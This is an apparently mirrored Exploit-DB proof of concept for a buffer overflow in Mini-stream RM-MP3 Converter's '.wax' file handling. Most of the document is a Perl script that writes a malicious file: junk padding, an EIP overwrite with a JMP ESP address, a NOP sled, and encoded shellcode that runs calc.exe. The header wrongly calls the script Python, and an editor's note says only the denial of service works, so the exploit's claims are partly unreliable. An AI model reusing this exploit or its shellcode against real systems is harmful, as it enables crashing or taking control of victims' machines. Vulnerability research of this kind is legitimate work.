Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 – ‘.wax’ File Buffer Overflow (Denial of Service) (PoC) EIP Overwrite

  • 作者: ZoRLu Bugrahan
    日期: 2014-10-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35105/
  • #EDB Note: DoS - b0f isn't working.
    
    # Title: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 (.wax) Buffer Overflow
    # Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
    # Home : http://milw00rm.com / its online
    # Date : 28.10.2014
    # Python : V 2.7
    # Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
    
    my $file ="exploit.wax"; #dont change file name if change file name you must change $filepath
    my $junk ="\x41" x 43516;
    my $eip="\xC3\x9c\xC8\x75";#75C89CC3 JMP ESP | bad char: \x09\x0a
    my $oyala="\x90" x 100;
    
    #tested on my windows 7 ultimate for file name "exploit.wax" if its not true path your windows you can change it for you
    my $filepath ="\x01\x00\x00\x00\x00\x00\x00\x00". # .......
    				"\xCA\x84\xB2\x75\x4C\x00\x31\x00". # Ê„²uD.2.
    				"\x22\x00\x00\x00\x43\x3A\x5C\x55". # "...C:\U
    				"\x73\x65\x72\x73\x5C\x61\x64\x6D". # sers\adm
    				"\x69\x6E\x5C\x44\x65\x73\x6B\x74". # in\Deskt
    				"\x6F\x70\x5C\x65\x78\x70\x6C\x6F". # op\explo
    				"\x69\x74\x2E\x77\x61\x78\x00\x00"; # it.wax..
    				
    #msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | ruby msfencode -e x86/alpha_upper -t c			
    my $shellcode = "\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43".
    				"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34".
    				"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41".
    				"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
    				"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30".
    				"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52".
    				"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b".
    				"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50".
    				"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c".
    				"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54".
    				"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b".
    				"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c".
    				"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31".
    				"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47".
    				"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54".
    				"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e".
    				"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30".
    				"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51".
    				"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51".
    				"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45".
    				"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50".
    				"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56".
    				"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a".
    				"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c".
    				"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38".
    				"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b".
    				"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d".
    				"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d".
    				"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53".
    				"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43".
    				"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35".
    				"\x45\x50\x41\x41";			
    
    open ($FILE, ">$file");
    print $FILE "$junk.$eip.$oyala.$shellcode.$filepath";
    close ($FILE);